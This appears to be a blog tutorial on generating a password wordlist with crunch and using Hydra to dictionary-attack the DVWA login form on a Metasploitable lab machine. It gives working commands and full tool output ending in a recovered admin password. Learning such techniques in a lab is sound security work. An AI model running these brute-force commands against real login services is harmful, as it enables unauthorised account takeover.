Guessing Login passwords with Hydra

Subscribe for New Posts


This post will help us learn how to create our own dictionary of passwords and then launch attacks on login forms using the dictionary we created along with the Kali based tool Hydra. These days almost all the websites contain authentication forms. Therefore, this tool is very handy when launching brute-force attacks. So, before getting our hands dirty with the tool; let us first polish some of our basics about dictionary and brute-force attacks.

Brute-force attack vs Dictionary Attack

We often use brute-force and dictionary attack interchangeably and it is somewhat right but there is a subtle difference between them. We can think brute-force attack as a superset of dictionary attack. Brute-force attacks are exhaustive attacks which tries all the possibilities (viz. letters, characters, special characters, and their combinations as well) where as in dictionary attack we provide a dictionary i.e. list of words(can be letters, characters and also their combinations) from which the target system is penetrated with. Brute-force attacks being exhaustive will ensure that you’ll get the field data(password filed, username, etc.), but as it is exhaustive; the time taken will vary(will be enormous for secured passwords). On the other hand, dictionary attacks are selective so, it may provide false positives but it is fast. So, practically we prefer dictionary attacks rather than brute-force.

Creating our own dictionary with crunch

So before we begin launching attack with hydra, we must be ready with our dictionary of passwords which we are going to use. Although we can use the dictionaries which are already present on the internet(my favorite repo); but in case you want to be more specific with the target you might require to create your own. There is a very handy tool called crunch which helps in doing this task for us.

You can generate the dictionary that fits your needs. So, Let us generate a dictionary which contains password with length 8 and has letters abcd and numbers 1234.

~# crunch 8 8 abcd1234 -o /Desktop/dict.txt -t a@@@@@@4
Crunch will now generate the following amount of data: 2359296 bytes
2 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 262144 

crunch: 100% completed generating output

Command overview:

There are however numerous options of creating wordlists using crunch. You can explore all the options to get the better insight. I presume you already know how to man any tool in linux :thinking:[man crunch].

Guessing Login password Using a wordlist attack with Hydra:

Now, that our dictionary is ready next thing to do is to launch the wordlist attack. The tool which we are going to use is Hydra(as evident in the blog title obviously:sweat_smile:). Hydra is a very simple tool to use but in the contrary very powerful and efficient in launching brute-force and dictionary attacks on almost any authentication services(like routers, web applications, etc.) which I can think of.

Using the tool is simple. Fire up the terminal and type the command below:

hydra [IP] -L[usernames] -P[password list] [service]

Command overview:

Let us see it in action using an example. I am using metasploitable machine to demonstrate this example. The application name is dvwa.

Page to exploit
Page to exploit
Intercepted POST request
Intercepted POST request

hydra 192.168.43.205 -l admin -P dict.txt http-post-form “/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed”

Command Overview[The service Part]:

Finally, fire up the terminal and paste the above command, and you’ll see the result below:

~# hydra 192.168.43.205 -l admin -P dict.txt http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-21 16:14:47
[DATA] max 16 tasks per 1 server, overall 16 tasks, 262146 login tries (l:1/p:262146), ~16385 tries per task
[DATA] attacking http-post-form://192.168.43.205:80/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed
[STATUS] 504.00 tries/min, 504 tries in 00:01h, 261642 to do in 08:40h, 16 active
[80][http-post-form] host: 192.168.43.205   login: admin   password: a11bdd44
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-21 16:16:02

Bingo:nerd_face:, we found the password for the username admin i.e. a11bdd44.

Give these tools a try and explore various other features and options available for these tools. Keep hacking for good and keep growing always.